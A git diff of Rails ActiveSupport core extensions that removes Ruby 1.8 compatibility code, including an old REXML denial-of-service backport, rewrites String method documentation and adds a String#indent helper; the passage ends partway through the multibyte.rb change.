diff --git a/activesupport/lib/active_support/core_ext/range/overlaps.rb b/activesupport/lib/active_support/core_ext/range/overlaps.rb
index 7df653b53f..603657c180 100644
--- a/activesupport/lib/active_support/core_ext/range/overlaps.rb
+++ b/activesupport/lib/active_support/core_ext/range/overlaps.rb
@@ -3,6 +3,6 @@ class Range
   #  (1..5).overlaps?(4..6) # => true
   #  (1..5).overlaps?(7..9) # => false
   def overlaps?(other)
-    include?(other.first) || other.include?(first)
+    cover?(other.first) || other.cover?(first)
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/rexml.rb b/activesupport/lib/active_support/core_ext/rexml.rb
deleted file mode 100644
index 0419ebc84b..0000000000
--- a/activesupport/lib/active_support/core_ext/rexml.rb
+++ /dev/null
@@ -1,46 +0,0 @@
-require 'active_support/core_ext/kernel/reporting'
-
-# Fixes the rexml vulnerability disclosed at:
-# http://www.ruby-lang.org/en/news/2008/08/23/dos-vulnerability-in-rexml/
-# This fix is identical to rexml-expansion-fix version 1.0.1.
-#
-# We still need to distribute this fix because albeit the REXML
-# in recent 1.8.7s is patched, it wasn't in early patchlevels.
-require 'rexml/rexml'
-
-# Earlier versions of rexml defined REXML::Version, newer ones REXML::VERSION
-unless (defined?(REXML::VERSION) ? REXML::VERSION : REXML::Version) > "3.1.7.2"
-  silence_warnings { require 'rexml/document' }
-
-  # REXML in 1.8.7 has the patch but early patchlevels didn't update Version from 3.1.7.2.
-  unless REXML::Document.respond_to?(:entity_expansion_limit=)
-    silence_warnings { require 'rexml/entity' }
-
-    module REXML #:nodoc:
-      class Entity < Child #:nodoc:
-        undef_method :unnormalized
-        def unnormalized
-          document.record_entity_expansion! if document
-          v = value()
-          return nil if v.nil?
-          @unnormalized = Text::unnormalize(v, parent)
-          @unnormalized
-        end
-      end
-      class Document < Element #:nodoc:
-        @@entity_expansion_limit = 10_000
-        def self.entity_expansion_limit= val
-          @@entity_expansion_limit = val
-        end
-
-        def record_entity_expansion!
-          @number_of_expansions ||= 0
-          @number_of_expansions += 1
-          if @number_of_expansions > @@entity_expansion_limit
-            raise "Number of entity expansions exceeded, processing aborted."
-          end
-        end
-      end
-    end
-  end
-end
diff --git a/activesupport/lib/active_support/core_ext/string.rb b/activesupport/lib/active_support/core_ext/string.rb
index 72522d395c..ad864765a3 100644
--- a/activesupport/lib/active_support/core_ext/string.rb
+++ b/activesupport/lib/active_support/core_ext/string.rb
@@ -6,9 +6,8 @@ require 'active_support/core_ext/string/inflections'
 require 'active_support/core_ext/string/access'
 require 'active_support/core_ext/string/xchar'
 require 'active_support/core_ext/string/behavior'
-require 'active_support/core_ext/string/interpolation'
 require 'active_support/core_ext/string/output_safety'
 require 'active_support/core_ext/string/exclude'
-require 'active_support/core_ext/string/encoding'
 require 'active_support/core_ext/string/strip'
 require 'active_support/core_ext/string/inquiry'
+require 'active_support/core_ext/string/indent'
diff --git a/activesupport/lib/active_support/core_ext/string/access.rb b/activesupport/lib/active_support/core_ext/string/access.rb
index c0d5cdf2d5..8fa8157d65 100644
--- a/activesupport/lib/active_support/core_ext/string/access.rb
+++ b/activesupport/lib/active_support/core_ext/string/access.rb
@@ -1,99 +1,104 @@
-require "active_support/multibyte"
-
 class String
-  unless '1.9'.respond_to?(:force_encoding)
-    # Returns the character at the +position+ treating the string as an array (where 0 is the first character).
-    #
-    # Examples:
-    #   "hello".at(0)  # => "h"
-    #   "hello".at(4)  # => "o"
-    #   "hello".at(10) # => ERROR if < 1.9, nil in 1.9
-    def at(position)
-      mb_chars[position, 1].to_s
-    end
-
-    # Returns the remaining of the string from the +position+ treating the string as an array (where 0 is the first character).
-    #
-    # Examples:
-    #   "hello".from(0)  # => "hello"
-    #   "hello".from(2)  # => "llo"
-    #   "hello".from(10) # => "" if < 1.9, nil in 1.9
-    def from(position)
-      mb_chars[position..-1].to_s
-    end
-
-    # Returns the beginning of the string up to the +position+ treating the string as an array (where 0 is the first character).
-    #
-    # Examples:
-    #   "hello".to(0)  # => "h"
-    #   "hello".to(2)  # => "hel"
-    #   "hello".to(10) # => "hello"
-    def to(position)
-      mb_chars[0..position].to_s
-    end
-
-    # Returns the first character of the string or the first +limit+ characters.
-    #
-    # Examples:
-    #   "hello".first     # => "h"
-    #   "hello".first(2)  # => "he"
-    #   "hello".first(10) # => "hello"
-    def first(limit = 1)
-      if limit == 0
-        ''
-      elsif limit >= size
-        self
-      else
-        mb_chars[0...limit].to_s
-      end
-    end
-
-    # Returns the last character of the string or the last +limit+ characters.
-    #
-    # Examples:
-    #   "hello".last     # => "o"
-    #   "hello".last(2)  # => "lo"
-    #   "hello".last(10) # => "hello"
-    def last(limit = 1)
-      if limit == 0
-        ''
-      elsif limit >= size
-        self
-      else
-        mb_chars[(-limit)..-1].to_s
-      end
-    end
-  else
-    def at(position)
-      self[position]
-    end
+  # If you pass a single Fixnum, returns a substring of one character at that
+  # position. The first character of the string is at position 0, the next at
+  # position 1, and so on. If a range is supplied, a substring containing
+  # characters at offsets given by the range is returned. In both cases, if an
+  # offset is negative, it is counted from the end of the string. Returns nil
+  # if the initial offset falls outside the string. Returns an empty string if
+  # the beginning of the range is greater than the end of the string.
+  #
+  #   str = "hello"
+  #   str.at(0)      #=> "h"
+  #   str.at(1..3)   #=> "ell"
+  #   str.at(-2)     #=> "l"
+  #   str.at(-2..-1) #=> "lo"
+  #   str.at(5)      #=> nil
+  #   str.at(5..-1)  #=> ""
+  #
+  # If a Regexp is given, the matching portion of the string is returned.
+  # If a String is given, that given string is returned if it occurs in
+  # the string. In both cases, nil is returned if there is no match.
+  #
+  #   str = "hello"
+  #   str.at(/lo/) #=> "lo"
+  #   str.at(/ol/) #=> nil
+  #   str.at("lo") #=> "lo"
+  #   str.at("ol") #=> nil
+  def at(position)
+    self[position]
+  end
 
-    def from(position)
-      self[position..-1]
-    end
+  # Returns a substring from the given position to the end of the string.
+  # If the position is negative, it is counted from the end of the string.
+  #
+  #   str = "hello"
+  #   str.from(0)  #=> "hello"
+  #   str.from(3)  #=> "lo"
+  #   str.from(-2) #=> "lo"
+  #
+  # You can mix it with +to+ method and do fun things like:
+  #
+  #   str = "hello"
+  #   str.from(0).to(-1) #=> "hello"
+  #   str.from(1).to(-2) #=> "ell"
+  def from(position)
+    self[position..-1]
+  end
 
-    def to(position)
-      self[0..position]
-    end
+  # Returns a substring from the beginning of the string to the given position.
+  # If the position is negative, it is counted from the end of the string.
+  #
+  #   str = "hello"
+  #   str.to(0)  #=> "h"
+  #   str.to(3)  #=> "hell"
+  #   str.to(-2) #=> "hell"
+  #
+  # You can mix it with +from+ method and do fun things like:
+  #
+  #   str = "hello"
+  #   str.from(0).to(-1) #=> "hello"
+  #   str.from(1).to(-2) #=> "ell"
+  def to(position)
+    self[0..position]
+  end
 
-    def first(limit = 1)
-      if limit == 0
-        ''
-      elsif limit >= size
-        self
-      else
-        to(limit - 1)
-      end
+  # Returns the first character. If a limit is supplied, returns a substring
+  # from the beginning of the string until it reaches the limit value. If the
+  # given limit is greater than or equal to the string length, returns self.
+  #
+  #   str = "hello"
+  #   str.first    #=> "h"
+  #   str.first(1) #=> "h"
+  #   str.first(2) #=> "he"
+  #   str.first(0) #=> ""
+  #   str.first(6) #=> "hello"
+  def first(limit = 1)
+    if limit == 0
+      ''
+    elsif limit >= size
+      self
+    else
+      to(limit - 1)
     end
+  end
 
-    def last(limit = 1)
-      if limit == 0
-        ''
-      elsif limit >= size
-        self
-      else
-        from(-limit)
-      end
+  # Returns the last character of the string. If a limit is supplied, returns a substring
+  # from the end of the string until it reaches the limit value (counting backwards). If
+  # the given limit is greater than or equal to the string length, returns self.
+  #
+  #   str = "hello"
+  #   str.last    #=> "o"
+  #   str.last(1) #=> "o"
+  #   str.last(2) #=> "lo"
+  #   str.last(0) #=> ""
+  #   str.last(6) #=> "hello"
+  def last(limit = 1)
+    if limit == 0
+      ''
+    elsif limit >= size
+      self
+    else
+      from(-limit)
     end
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/string/conversions.rb b/activesupport/lib/active_support/core_ext/string/conversions.rb
index 0f8933b658..022b376aec 100644
--- a/activesupport/lib/active_support/core_ext/string/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/string/conversions.rb
@@ -1,54 +1,48 @@
-# encoding: utf-8
 require 'date'
-require 'active_support/core_ext/time/publicize_conversion_methods'
 require 'active_support/core_ext/time/calculations'
 
 class String
-  # Returns the codepoint of the first character of the string, assuming a
-  # single-byte character encoding:
-  #
-  #   "a".ord # => 97
-  #   "à".ord # => 224, in ISO-8859-1
-  #
-  # This method is defined in Ruby 1.8 for Ruby 1.9 forward compatibility on
-  # these character encodings.
-  #
-  # <tt>ActiveSupport::Multibyte::Chars#ord</tt> is forward compatible with
-  # Ruby 1.9 on UTF8 strings:
-  #
-  #   "a".mb_chars.ord # => 97
-  #   "à".mb_chars.ord # => 224, in UTF8
-  #
-  # Note that the 224 is different in both examples. In ISO-8859-1 "à" is
-  # represented as a single byte, 224. In UTF8 it is represented with two
-  # bytes, namely 195 and 160, but its Unicode codepoint is 224. If we
-  # call +ord+ on the UTF8 string "à" the return value will be 195. That is
-  # not an error, because UTF8 is unsupported, the call itself would be
-  # bogus.
-  def ord
-    self[0]
-  end unless method_defined?(:ord)
-
-  # +getbyte+ backport from Ruby 1.9
-  alias_method :getbyte, :[] unless method_defined?(:getbyte)
-
   # Form can be either :utc (default) or :local.
   def to_time(form = :utc)
-    return nil if self.blank?
-    d = ::Date._parse(self, false).values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction, :offset).map { |arg| arg || 0 }
-    d[6] *= 1000000
-    ::Time.send("#{form}_time", *d[0..6]) - d[7]
+    unless blank?
+      date_values = ::Date._parse(self, false).
+        values_at(:year, :mon, :mday, :hour, :min, :sec, :sec_fraction, :offset).
+        map! { |arg| arg || 0 }
+      date_values[6] *= 1000000
+      offset = date_values.pop
+
+      ::Time.send("#{form}_time", *date_values) - offset
+    end
   end
 
+  # Converts a string to a Date value.
+  #
+  #   "1-1-2012".to_date   #=> Sun, 01 Jan 2012
+  #   "01/01/2012".to_date #=> Sun, 01 Jan 2012
+  #   "2012-12-13".to_date #=> Thu, 13 Dec 2012
+  #   "12/13/2012".to_date #=> ArgumentError: invalid date
   def to_date
-    return nil if self.blank?
-    ::Date.new(*::Date._parse(self, false).values_at(:year, :mon, :mday))
+    unless blank?
+      date_values = ::Date._parse(self, false).values_at(:year, :mon, :mday)
+
+      ::Date.new(*date_values)
+    end
   end
 
+  # Converts a string to a DateTime value.
+  #
+  #   "1-1-2012".to_datetime            #=> Sun, 01 Jan 2012 00:00:00 +0000
+  #   "01/01/2012 23:59:59".to_datetime #=> Sun, 01 Jan 2012 23:59:59 +0000
+  #   "2012-12-13 12:50".to_datetime    #=> Thu, 13 Dec 2012 12:50:00 +0000
+  #   "12/13/2012".to_datetime          #=> ArgumentError: invalid date
   def to_datetime
-    return nil if self.blank?
-    d = ::Date._parse(self, false).values_at(:year, :mon, :mday, :hour, :min, :sec, :zone, :sec_fraction).map { |arg| arg || 0 }
-    d[5] += d.pop
-    ::DateTime.civil(*d)
+    unless blank?
+      date_values = ::Date._parse(self, false).
+        values_at(:year, :mon, :mday, :hour, :min, :sec, :zone, :sec_fraction).
+        map! { |arg| arg || 0 }
+      date_values[5] += date_values.pop
+
+      ::DateTime.civil(*date_values)
+    end
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/string/encoding.rb b/activesupport/lib/active_support/core_ext/string/encoding.rb
index d4781bfe0c..dc635ed6a5 100644
--- a/activesupport/lib/active_support/core_ext/string/encoding.rb
+++ b/activesupport/lib/active_support/core_ext/string/encoding.rb
@@ -1,11 +1,8 @@
+require 'active_support/deprecation'
+
 class String
-  if defined?(Encoding) && "".respond_to?(:encode)
-    def encoding_aware?
-      true
-    end
-  else
-    def encoding_aware?
-      false
-    end
+  def encoding_aware?
+    ActiveSupport::Deprecation.warn 'String#encoding_aware? is deprecated', caller
+    true
   end
-end
\ No newline at end of file
+end
diff --git a/activesupport/lib/active_support/core_ext/string/exclude.rb b/activesupport/lib/active_support/core_ext/string/exclude.rb
index 5e184ec1b3..114bcb87f0 100644
--- a/activesupport/lib/active_support/core_ext/string/exclude.rb
+++ b/activesupport/lib/active_support/core_ext/string/exclude.rb
@@ -1,5 +1,10 @@
 class String
-  # The inverse of <tt>String#include?</tt>. Returns true if the string does not include the other string.
+  # The inverse of <tt>String#include?</tt>. Returns true if the string
+  # does not include the other string.
+  #
+  #   "hello".exclude? "lo" #=> false
+  #   "hello".exclude? "ol" #=> true
+  #   "hello".exclude? ?h   #=> false
   def exclude?(string)
     !include?(string)
   end
diff --git a/activesupport/lib/active_support/core_ext/string/filters.rb b/activesupport/lib/active_support/core_ext/string/filters.rb
index d478ee0ef6..8644529806 100644
--- a/activesupport/lib/active_support/core_ext/string/filters.rb
+++ b/activesupport/lib/active_support/core_ext/string/filters.rb
@@ -1,11 +1,8 @@
-require 'active_support/core_ext/string/multibyte'
-
 class String
   # Returns the string, first removing all whitespace on both ends of
   # the string, and then changing remaining consecutive whitespace
   # groups into one space each.
   #
-  # Examples:
   #   %{ Multi-line
   #      string }.squish                   # => "Multi-line string"
   #   " foo   bar    \n   \t   boo".squish # => "foo bar boo"
@@ -22,28 +19,34 @@ class String
 
   # Truncates a given +text+ after a given <tt>length</tt> if +text+ is longer than <tt>length</tt>:
   #
-  #   "Once upon a time in a world far far away".truncate(27)
+  #   'Once upon a time in a world far far away'.truncate(27)
   #   # => "Once upon a time in a wo..."
   #
-  # Pass a <tt>:separator</tt> to truncate +text+ at a natural break:
+  # Pass a string or regexp <tt>:separator</tt> to truncate +text+ at a natural break:
+  #
+  #   'Once upon a time in a world far far away'.truncate(27, :separator => ' ')
+  #   # => "Once upon a time in a..."
   #
-  #   "Once upon a time in a world far far away".truncate(27, :separator => ' ')
+  #   'Once upon a time in a world far far away'.truncate(27, :separator => /\s/)
   #   # => "Once upon a time in a..."
   #
   # The last characters will be replaced with the <tt>:omission</tt> string (defaults to "...")
-  # for a total length not exceeding <tt>:length</tt>:
+  # for a total length not exceeding <tt>length</tt>:
   #
-  #   "And they found that many people were sleeping better.".truncate(25, :omission => "... (continued)")
+  #   'And they found that many people were sleeping better.'.truncate(25, :omission => '... (continued)')
   #   # => "And they f... (continued)"
-  def truncate(length, options = {})
-    text = self.dup
-    options[:omission] ||= "..."
+  def truncate(truncate_at, options = {})
+    return dup unless length > truncate_at
 
-    length_with_room_for_omission = length - options[:omission].mb_chars.length
-    chars = text.mb_chars
-    stop = options[:separator] ?
-      (chars.rindex(options[:separator].mb_chars, length_with_room_for_omission) || length_with_room_for_omission) : length_with_room_for_omission
+    options[:omission] ||= '...'
+    length_with_room_for_omission = truncate_at - options[:omission].length
+    stop = \
+      if options[:separator]
+        rindex(options[:separator], length_with_room_for_omission) || length_with_room_for_omission
+      else
+        length_with_room_for_omission
+      end
 
-    (chars.length > length ? chars[0...stop] + options[:omission] : text).to_s
+    self[0...stop] + options[:omission]
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/string/indent.rb b/activesupport/lib/active_support/core_ext/string/indent.rb
new file mode 100644
index 0000000000..afc3032272
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/indent.rb
@@ -0,0 +1,43 @@
+class String
+  # Same as +indent+, except it indents the receiver in-place.
+  #
+  # Returns the indented string, or +nil+ if there was nothing to indent.
+  def indent!(amount, indent_string=nil, indent_empty_lines=false)
+    indent_string = indent_string || self[/^[ \t]/] || ' '
+    re = indent_empty_lines ? /^/ : /^(?!$)/
+    gsub!(re, indent_string * amount)
+  end
+
+  # Indents the lines in the receiver:
+  #
+  #   <<EOS.indent(2)
+  #   def some_method
+  #     some_code
+  #   end
+  #   EOS
+  #   # =>
+  #     def some_method
+  #       some_code
+  #     end
+  #
+  # The second argument, +indent_string+, specifies which indent string to
+  # use. The default is +nil+, which tells the method to make a guess by
+  # peeking at the first indented line, and fallback to a space if there is
+  # none.
+  #
+  #   "  foo".indent(2)        # => "    foo"
+  #   "foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar"
+  #   "foo".indent(2, "\t")    # => "\t\tfoo"
+  #
+  # While +indent_string+ is tipically one space or tab, it may be any string.
+  #
+  # The third argument, +indent_empty_lines+, is a flag that says whether
+  # empty lines should be indented. Default is false.
+  #
+  #   "foo\n\nbar".indent(2)            # => "  foo\n\n  bar"
+  #   "foo\n\nbar".indent(2, nil, true) # => "  foo\n  \n  bar"
+  #
+  def indent(amount, indent_string=nil, indent_empty_lines=false)
+    dup.tap {|_| _.indent!(amount, indent_string, indent_empty_lines)}
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/inflections.rb b/activesupport/lib/active_support/core_ext/string/inflections.rb
index 1e57b586d9..6edfcd7493 100644
--- a/activesupport/lib/active_support/core_ext/string/inflections.rb
+++ b/activesupport/lib/active_support/core_ext/string/inflections.rb
@@ -4,7 +4,7 @@ require 'active_support/inflector/transliterate'
 # String inflections define new methods on the String class to transform names for different purposes.
 # For instance, you can figure out the name of a table from the name of a class.
 #
-#   "ScaleScore".tableize # => "scale_scores"
+#   'ScaleScore'.tableize # => "scale_scores"
 #
 class String
   # Returns the plural form of the word in the string.
@@ -13,43 +13,55 @@ class String
   # the singular form will be returned if <tt>count == 1</tt>.
   # For any other value of +count+ the plural will be returned.
   #
-  # ==== Examples
-  #   "post".pluralize             # => "posts"
-  #   "octopus".pluralize          # => "octopi"
-  #   "sheep".pluralize            # => "sheep"
-  #   "words".pluralize            # => "words"
-  #   "the blue mailman".pluralize # => "the blue mailmen"
-  #   "CamelOctopus".pluralize     # => "CamelOctopi"
-  #   "apple".pluralize(1)         # => "apple"
-  #   "apple".pluralize(2)         # => "apples"
-  def pluralize(count = nil)
+  # If the optional parameter +locale+ is specified,
+  # the word will be pluralized as a word of that language.
+  # By default, this parameter is set to <tt>:en</tt>.
+  # You must define your own inflection rules for languages other than English.
+  #
+  #   'post'.pluralize             # => "posts"
+  #   'octopus'.pluralize          # => "octopi"
+  #   'sheep'.pluralize            # => "sheep"
+  #   'words'.pluralize            # => "words"
+  #   'the blue mailman'.pluralize # => "the blue mailmen"
+  #   'CamelOctopus'.pluralize     # => "CamelOctopi"
+  #   'apple'.pluralize(1)         # => "apple"
+  #   'apple'.pluralize(2)         # => "apples"
+  #   'ley'.pluralize(:es)         # => "leyes"
+  #   'ley'.pluralize(1, :es)      # => "ley"
+  def pluralize(count = nil, locale = :en)
+    locale = count if count.is_a?(Symbol)
     if count == 1
       self
     else
-      ActiveSupport::Inflector.pluralize(self)
+      ActiveSupport::Inflector.pluralize(self, locale)
     end
   end
 
   # The reverse of +pluralize+, returns the singular form of a word in a string.
-  #
-  #   "posts".singularize            # => "post"
-  #   "octopi".singularize           # => "octopus"
-  #   "sheep".singularize            # => "sheep"
-  #   "word".singularize             # => "word"
-  #   "the blue mailmen".singularize # => "the blue mailman"
-  #   "CamelOctopi".singularize      # => "CamelOctopus"
-  def singularize
-    ActiveSupport::Inflector.singularize(self)
+  # 
+  # If the optional parameter +locale+ is specified,
+  # the word will be singularized as a word of that language.
+  # By default, this paramter is set to <tt>:en</tt>.
+  # You must define your own inflection rules for languages other than English.
+  #
+  #   'posts'.singularize            # => "post"
+  #   'octopi'.singularize           # => "octopus"
+  #   'sheep'.singularize            # => "sheep"
+  #   'word'.singularize             # => "word"
+  #   'the blue mailmen'.singularize # => "the blue mailman"
+  #   'CamelOctopi'.singularize      # => "CamelOctopus"
+  #   'leyes'.singularize(:es)       # => "ley"
+  def singularize(locale = :en)
+    ActiveSupport::Inflector.singularize(self, locale)
   end
 
   # +constantize+ tries to find a declared constant with the name specified
   # in the string. It raises a NameError when the name is not in CamelCase
   # or is not initialized.  See ActiveSupport::Inflector.constantize
   #
-  # Examples
-  #   "Module".constantize  # => Module
-  #   "Class".constantize   # => Class
-  #   "blargle".constantize # => NameError: wrong constant name blargle
+  #   'Module'.constantize  # => Module
+  #   'Class'.constantize   # => Class
+  #   'blargle'.constantize # => NameError: wrong constant name blargle
   def constantize
     ActiveSupport::Inflector.constantize(self)
   end
@@ -58,10 +70,9 @@ class String
   # in the string. It returns nil when the name is not in CamelCase
   # or is not initialized.  See ActiveSupport::Inflector.safe_constantize
   #
-  # Examples
-  #   "Module".safe_constantize  # => Module
-  #   "Class".safe_constantize   # => Class
-  #   "blargle".safe_constantize # => nil
+  #   'Module'.safe_constantize  # => Module
+  #   'Class'.safe_constantize   # => Class
+  #   'blargle'.safe_constantize # => nil
   def safe_constantize
     ActiveSupport::Inflector.safe_constantize(self)
   end
@@ -71,14 +82,16 @@ class String
   #
   # +camelize+ will also convert '/' to '::' which is useful for converting paths to namespaces.
   #
-  #   "active_record".camelize                # => "ActiveRecord"
-  #   "active_record".camelize(:lower)        # => "activeRecord"
-  #   "active_record/errors".camelize         # => "ActiveRecord::Errors"
-  #   "active_record/errors".camelize(:lower) # => "activeRecord::Errors"
+  #   'active_record'.camelize                # => "ActiveRecord"
+  #   'active_record'.camelize(:lower)        # => "activeRecord"
+  #   'active_record/errors'.camelize         # => "ActiveRecord::Errors"
+  #   'active_record/errors'.camelize(:lower) # => "activeRecord::Errors"
   def camelize(first_letter = :upper)
     case first_letter
-      when :upper then ActiveSupport::Inflector.camelize(self, true)
-      when :lower then ActiveSupport::Inflector.camelize(self, false)
+    when :upper
+      ActiveSupport::Inflector.camelize(self, true)
+    when :lower
+      ActiveSupport::Inflector.camelize(self, false)
     end
   end
   alias_method :camelcase, :camelize
@@ -89,8 +102,8 @@ class String
   #
   # +titleize+ is also aliased as +titlecase+.
   #
-  #   "man from the boondocks".titleize # => "Man From The Boondocks"
-  #   "x-men: the last stand".titleize  # => "X Men: The Last Stand"
+  #   'man from the boondocks'.titleize # => "Man From The Boondocks"
+  #   'x-men: the last stand'.titleize  # => "X Men: The Last Stand"
   def titleize
     ActiveSupport::Inflector.titleize(self)
   end
@@ -100,23 +113,23 @@ class String
   #
   # +underscore+ will also change '::' to '/' to convert namespaces to paths.
   #
-  #   "ActiveRecord".underscore         # => "active_record"
-  #   "ActiveRecord::Errors".underscore # => active_record/errors
+  #   'ActiveModel'.underscore         # => "active_model"
+  #   'ActiveModel::Errors'.underscore # => "active_model/errors"
   def underscore
     ActiveSupport::Inflector.underscore(self)
   end
 
   # Replaces underscores with dashes in the string.
   #
-  #   "puni_puni" # => "puni-puni"
+  #   'puni_puni'.dasherize # => "puni-puni"
   def dasherize
     ActiveSupport::Inflector.dasherize(self)
   end
 
   # Removes the module part from the constant expression in the string.
   #
-  #   "ActiveRecord::CoreExtensions::String::Inflections".demodulize # => "Inflections"
-  #   "Inflections".demodulize                                       # => "Inflections"
+  #   'ActiveRecord::CoreExtensions::String::Inflections'.demodulize # => "Inflections"
+  #   'Inflections'.demodulize                                       # => "Inflections"
   #
   # See also +deconstantize+.
   def demodulize
@@ -125,11 +138,11 @@ class String
 
   # Removes the rightmost segment from the constant expression in the string.
   #
-  #   "Net::HTTP".deconstantize   # => "Net"
-  #   "::Net::HTTP".deconstantize # => "::Net"
-  #   "String".deconstantize      # => ""
-  #   "::String".deconstantize    # => ""
-  #   "".deconstantize            # => ""
+  #   'Net::HTTP'.deconstantize   # => "Net"
+  #   '::Net::HTTP'.deconstantize # => "::Net"
+  #   'String'.deconstantize      # => ""
+  #   '::String'.deconstantize    # => ""
+  #   ''.deconstantize            # => ""
   #
   # See also +demodulize+.
   def deconstantize
@@ -138,8 +151,6 @@ class String
 
   # Replaces special characters in a string so that it may be used as part of a 'pretty' URL.
   #
-  # ==== Examples
-  #
   #   class Person
   #     def to_param
   #       "#{id}-#{name.parameterize}"
@@ -158,9 +169,9 @@ class String
   # Creates the name of a table like Rails does for models to table names. This method
   # uses the +pluralize+ method on the last word in the string.
   #
-  #   "RawScaledScorer".tableize # => "raw_scaled_scorers"
-  #   "egg_and_ham".tableize     # => "egg_and_hams"
-  #   "fancyCategory".tableize   # => "fancy_categories"
+  #   'RawScaledScorer'.tableize # => "raw_scaled_scorers"
+  #   'egg_and_ham'.tableize     # => "egg_and_hams"
+  #   'fancyCategory'.tableize   # => "fancy_categories"
   def tableize
     ActiveSupport::Inflector.tableize(self)
   end
@@ -169,12 +180,12 @@ class String
   # Note that this returns a string and not a class. (To convert to an actual class
   # follow +classify+ with +constantize+.)
   #
-  #   "egg_and_hams".classify # => "EggAndHam"
-  #   "posts".classify        # => "Post"
+  #   'egg_and_hams'.classify # => "EggAndHam"
+  #   'posts'.classify        # => "Post"
   #
   # Singular names are not handled correctly.
   #
-  #   "business".classify # => "Busines"
+  #   'business'.classify # => "Busines"
   def classify
     ActiveSupport::Inflector.classify(self)
   end
@@ -182,8 +193,8 @@ class String
   # Capitalizes the first word, turns underscores into spaces, and strips '_id'.
   # Like +titleize+, this is meant for creating pretty output.
   #
-  #   "employee_salary" # => "Employee salary"
-  #   "author_id"       # => "Author"
+  #   'employee_salary' # => "Employee salary"
+  #   'author_id'       # => "Author"
   def humanize
     ActiveSupport::Inflector.humanize(self)
   end
@@ -192,10 +203,9 @@ class String
   # +separate_class_name_and_id_with_underscore+ sets whether
   # the method should put '_' between the name and 'id'.
   #
-  # Examples
-  #   "Message".foreign_key        # => "message_id"
-  #   "Message".foreign_key(false) # => "messageid"
-  #   "Admin::Post".foreign_key    # => "post_id"
+  #   'Message'.foreign_key        # => "message_id"
+  #   'Message'.foreign_key(false) # => "messageid"
+  #   'Admin::Post'.foreign_key    # => "post_id"
   def foreign_key(separate_class_name_and_id_with_underscore = true)
     ActiveSupport::Inflector.foreign_key(self, separate_class_name_and_id_with_underscore)
   end
diff --git a/activesupport/lib/active_support/core_ext/string/inquiry.rb b/activesupport/lib/active_support/core_ext/string/inquiry.rb
index 5f0a017de6..1dcd949536 100644
--- a/activesupport/lib/active_support/core_ext/string/inquiry.rb
+++ b/activesupport/lib/active_support/core_ext/string/inquiry.rb
@@ -2,9 +2,9 @@ require 'active_support/string_inquirer'
 
 class String
   # Wraps the current string in the <tt>ActiveSupport::StringInquirer</tt> class,
-  # which gives you a prettier way to test for equality. Example:
+  # which gives you a prettier way to test for equality.
   #
-  #   env = "production".inquiry
+  #   env = 'production'.inquiry
   #   env.production?  # => true
   #   env.development? # => false
   def inquiry
diff --git a/activesupport/lib/active_support/core_ext/string/interpolation.rb b/activesupport/lib/active_support/core_ext/string/interpolation.rb
deleted file mode 100644
index 7f764e9de1..0000000000
--- a/activesupport/lib/active_support/core_ext/string/interpolation.rb
+++ /dev/null
@@ -1,2 +0,0 @@
-require 'active_support/i18n'
-require 'i18n/core_ext/string/interpolate'
diff --git a/activesupport/lib/active_support/core_ext/string/multibyte.rb b/activesupport/lib/active_support/core_ext/string/multibyte.rb
index aae1cfccf2..4e7824ad74 100644
--- a/activesupport/lib/active_support/core_ext/string/multibyte.rb
+++ b/activesupport/lib/active_support/core_ext/string/multibyte.rb
@@ -2,71 +2,55 @@
 require 'active_support/multibyte'
 
 class String
-  if RUBY_VERSION >= "1.9"
-    # == Multibyte proxy
-    #
-    # +mb_chars+ is a multibyte safe proxy for string methods.
-    #
-    # In Ruby 1.8 and older it creates and returns an instance of the ActiveSupport::Multibyte::Chars class which
-    # encapsulates the original string. A Unicode safe version of all the String methods are defined on this proxy
-    # class. If the proxy class doesn't respond to a certain method, it's forwarded to the encapsulated string.
-    #
-    #   name = 'Claus Müller'
-    #   name.reverse # => "rell??M sualC"
-    #   name.length  # => 13
-    #
-    #   name.mb_chars.reverse.to_s # => "rellüM sualC"
-    #   name.mb_chars.length       # => 12
-    #
-    # In Ruby 1.9 and newer +mb_chars+ returns +self+ because String is (mostly) encoding aware. This means that
-    # it becomes easy to run one version of your code on multiple Ruby versions.
-    #
-    # == Method chaining
-    #
-    # All the methods on the Chars proxy which normally return a string will return a Chars object. This allows
-    # method chaining on the result of any of these methods.
-    #
-    #   name.mb_chars.reverse.length # => 12
-    #
-    # == Interoperability and configuration
-    #
-    # The Chars object tries to be as interchangeable with String objects as possible: sorting and comparing between
-    # String and Char work like expected. The bang! methods change the internal string representation in the Chars
-    # object. Interoperability problems can be resolved easily with a +to_s+ call.
-    #
-    # For more information about the methods defined on the Chars proxy see ActiveSupport::Multibyte::Chars. For
-    # information about how to change the default Multibyte behavior see ActiveSupport::Multibyte.
-    def mb_chars
-      if ActiveSupport::Multibyte.proxy_class.consumes?(self)
-        ActiveSupport::Multibyte.proxy_class.new(self)
-      else
-        self
-      end
-    end
-
-    def is_utf8? #:nodoc
-      case encoding
-      when Encoding::UTF_8
-        valid_encoding?
-      when Encoding::ASCII_8BIT, Encoding::US_ASCII
-        dup.force_encoding(Encoding::UTF_8).valid_encoding?
-      else
-        false
-      end
-    end
-  else
-    def mb_chars
-      if ActiveSupport::Multibyte.proxy_class.wants?(self)
-        ActiveSupport::Multibyte.proxy_class.new(self)
-      else
-        self
-      end
+  # == Multibyte proxy
+  #
+  # +mb_chars+ is a multibyte safe proxy for string methods.
+  #
+  # In Ruby 1.8 and older it creates and returns an instance of the ActiveSupport::Multibyte::Chars class which
+  # encapsulates the original string. A Unicode safe version of all the String methods are defined on this proxy
+  # class. If the proxy class doesn't respond to a certain method, it's forwarded to the encapsulated string.
+  #
+  #   name = 'Claus Müller'
+  #   name.reverse # => "rell??M sualC"
+  #   name.length  # => 13
+  #
+  #   name.mb_chars.reverse.to_s # => "rellüM sualC"
+  #   name.mb_chars.length       # => 12
+  #
+  # In Ruby 1.9 and newer +mb_chars+ returns +self+ because String is (mostly) encoding aware. This means that
+  # it becomes easy to run one version of your code on multiple Ruby versions.
+  #
+  # == Method chaining
+  #
+  # All the methods on the Chars proxy which normally return a string will return a Chars object. This allows
+  # method chaining on the result of any of these methods.
